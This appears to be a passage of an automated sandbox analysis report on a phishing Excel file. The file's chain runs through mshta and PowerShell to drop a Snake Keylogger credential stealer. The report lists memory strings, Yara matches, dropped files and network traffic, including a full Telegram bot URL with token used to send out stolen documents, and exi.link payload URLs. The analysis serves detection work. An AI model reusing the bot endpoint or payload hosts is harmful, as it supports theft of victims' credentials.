Source: bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=4039
Source: bKVNuVuE.exe, 0000001D.00000002.629343652.000000000390B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/image
Source: sihost.exe, 00000011.00000002.625935756.0000000002955000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002914000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002927000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.629360646.0000000003758000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B28000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: powershell.exe, 00000007.00000002.446514790.0000000012381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000007.00000002.446514790.0000000012381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000007.00000002.446514790.0000000012381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: sihost.exe, 00000011.00000002.629360646.0000000003856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dotnet.microsoft.c
Source: sihost.exe, 00000011.00000002.625935756.0000000002955000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.629360646.000000000370C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002914000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002927000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.629360646.0000000003758000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B28000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: sihost.exe, 00000011.00000002.625935756.0000000002955000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.629360646.000000000370C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002914000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002927000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.629360646.0000000003758000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B28000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: sihost.exe, 00000011.00000002.625935756.0000000002955000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.629360646.000000000370C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002914000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002927000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.629360646.0000000003758000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B28000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://exi.link/
Source: mshta.exe, 00000004.00000002.417101402.0000000003932000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414459456.0000000000194000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.0000000003932000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.416660477.0000000000147000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.416660477.000000000015A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx, 44330000.0.dr	String found in binary or memory: https://exi.link/JkAPbL
Source: mshta.exe, 00000004.00000002.416660477.000000000016D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://exi.link/JkAPbLAA
Source: mshta.exe, 00000004.00000002.416660477.000000000016D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://exi.link/JkAPbLEA
Source: mshta.exe, 00000004.00000002.416660477.000000000016D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://exi.link/JkAPbLp
Source: mshta.exe, 00000004.00000002.416660477.000000000013A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://exi.link/JkAPbLyX
Source: mshta.exe, 00000004.00000003.416265424.00000000001A8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414459456.00000000001A8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.416776034.00000000001A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://exi.link/S-
Source: mshta.exe, 00000004.00000003.416265424.00000000001A8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414459456.00000000001A8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.416776034.00000000001A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://exi.link/a
Source: powershell.exe, 00000007.00000002.446514790.0000000012381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: sihost.exe, 00000011.00000002.625935756.00000000027D4000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.000000000282C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027C6000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002776000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002733000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.000000000281E000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027F1000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002934000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029CE000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A16000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029E4000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029F2000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A3E000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002977000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: sihost.exe, 0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624471340.0000000000430000.00000040.00000400.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002733000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002934000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33
Source: sihost.exe, 00000011.00000002.625935756.00000000027D4000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.000000000282C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027C6000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002776000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.000000000281E000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027F1000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029CE000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A16000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029E4000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029F2000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A3E000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002977000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.334
Source: sihost.exe, 00000011.00000002.625935756.0000000002955000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.629360646.000000000370C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002914000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002927000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.629360646.0000000003758000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B28000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: sihost.exe, 00000011.00000002.625935756.0000000002955000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.629360646.000000000370C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002914000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002927000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.629360646.0000000003758000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B28000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C401000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C3A0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C412000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624885368.000000000057C000.00000004.00000020.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.625146284.0000000000964000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx, 44330000.0.dr, ~DF8426740EAF6412F3.TMP.0.dr	String found in binary or memory: https://www.business.hsbc.com.hk/en-gb/resource-centre/commercial-tariffs)
Source: sihost.exe, 00000011.00000002.629360646.000000000370C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/favicon.ico
Source: bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=net
Source: bKVNuVuE.exe, 0000001D.00000002.629343652.00000000039BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=test&oq=test&aqs=chrome..69i57j46j0l3j46j0.427j0j7&sourceid=chrome&i
Source: bKVNuVuE.exe, 0000001D.00000002.629343652.00000000039BB000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.629343652.0000000003A4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=wmf
Source: bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/sorry/index
Source: bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.629343652.00000000039BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26a
Source: bKVNuVuE.exe, 0000001D.00000002.629343652.0000000003A4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dwmf%2B5.1%26oq%3Dwmf
Source: sihost.exe, 00000011.00000002.629360646.0000000003799000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.629343652.00000000039F3000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.629343652.0000000003A6F000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.629343652.0000000003AA7000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.629343652.00000000039BB000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.629343652.0000000003A4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/sorry/indextest
Source: SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx, 44330000.0.dr, ~DF8426740EAF6412F3.TMP.0.dr	String found in binary or memory: https://www.online-banking.business.hsbc.com.hk/portalserver/hsbc/dbbpage/commercial/online/timetabl

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49224
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49223
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49188
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49221
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49186
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49182
Source: unknown	Network traffic detected: HTTP traffic on port 49204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49180
Source: unknown	Network traffic detected: HTTP traffic on port 49223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49219
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49218
Source: unknown	Network traffic detected: HTTP traffic on port 49184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49216
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49215
Source: unknown	Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49212
Source: unknown	Network traffic detected: HTTP traffic on port 49180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49210
Source: unknown	Network traffic detected: HTTP traffic on port 49190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown	Network traffic detected: HTTP traffic on port 49188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown	Network traffic detected: HTTP traffic on port 49224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49209
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49206
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49204
Source: unknown	Network traffic detected: HTTP traffic on port 49219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49202
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49201
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown	Network traffic detected: HTTP traffic on port 49202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49161
Source: unknown	Network traffic detected: HTTP traffic on port 49209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49206 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49216 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49218 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49199
Source: unknown	Network traffic detected: HTTP traffic on port 49182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49198
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49197
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49195
Source: unknown	Network traffic detected: HTTP traffic on port 49201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49190
Source: unknown	Network traffic detected: HTTP traffic on port 49192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49179 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49215 -> 443

Source: unknown	HTTPS traffic detected: 159.203.133.15:443 -> 192.168.2.22:49161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 159.203.133.15:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49199 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49202 version: TLS 1.2

Source: C:\Windows\System32\mshta.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 12.2.sihost.exe.43da760.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 12.2.sihost.exe.43da760.5.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 12.2.sihost.exe.43da760.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 12.2.sihost.exe.441db80.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 12.2.sihost.exe.441db80.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 12.2.sihost.exe.441db80.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 12.2.sihost.exe.441db80.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 12.2.sihost.exe.441db80.7.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 12.2.sihost.exe.43da760.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 12.2.sihost.exe.441db80.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 12.2.sihost.exe.43da760.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 12.2.sihost.exe.43da760.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: sihost.exe PID: 3408, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Excel sheet contains many unusual embedded objects

Source: SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx	OLE: Microsoft Excel 2007+
Source: 44330000.0.dr	OLE: Microsoft Excel 2007+

Microsoft Office drops suspicious files

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\40[1].hta

Jump to behavior

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\sihost.exe			Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\sihost[1].exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\sihost.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Memory allocated: 770B0000 page execute and read and write

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_000007FE8950352E	7_2_000007FE8950352E
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 12_2_0045F080	12_2_0045F080
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 12_2_0045E910	12_2_0045E910
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 12_2_0045C1C8	12_2_0045C1C8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 12_2_00459CA8	12_2_00459CA8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 12_2_0045D088	12_2_0045D088
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 12_2_0045E2F8	12_2_0045E2F8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 12_2_00455AB0	12_2_00455AB0
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 12_2_0045E558	12_2_0045E558
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 12_2_005111B8	12_2_005111B8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 12_2_00518340	12_2_00518340
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 12_2_00517698	12_2_00517698
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 12_2_00518818	12_2_00518818
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 12_2_00518828	12_2_00518828
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 12_2_00510890	12_2_00510890
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 12_2_00517AD0	12_2_00517AD0
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 12_2_00517EF8	12_2_00517EF8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 12_2_00517F08	12_2_00517F08
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_0036A020	17_2_0036A020
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_003640F8	17_2_003640F8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_00364968	17_2_00364968
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_003631B1	17_2_003631B1
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_0036E190	17_2_0036E190
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_003669F0	17_2_003669F0
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_00363A20	17_2_00363A20
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_00369300	17_2_00369300
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_003643C8	17_2_003643C8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_00368C24	17_2_00368C24
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_00363482	17_2_00363482
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_003674C8	17_2_003674C8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_00368544	17_2_00368544
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_00363E28	17_2_00363E28
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_00365E70	17_2_00365E70
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_00364699	17_2_00364699
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_00369E88	17_2_00369E88
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_0036E180	17_2_0036E180
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_0036F181	17_2_0036F181
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_0036D9F9	17_2_0036D9F9
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_0036DA08	17_2_0036DA08
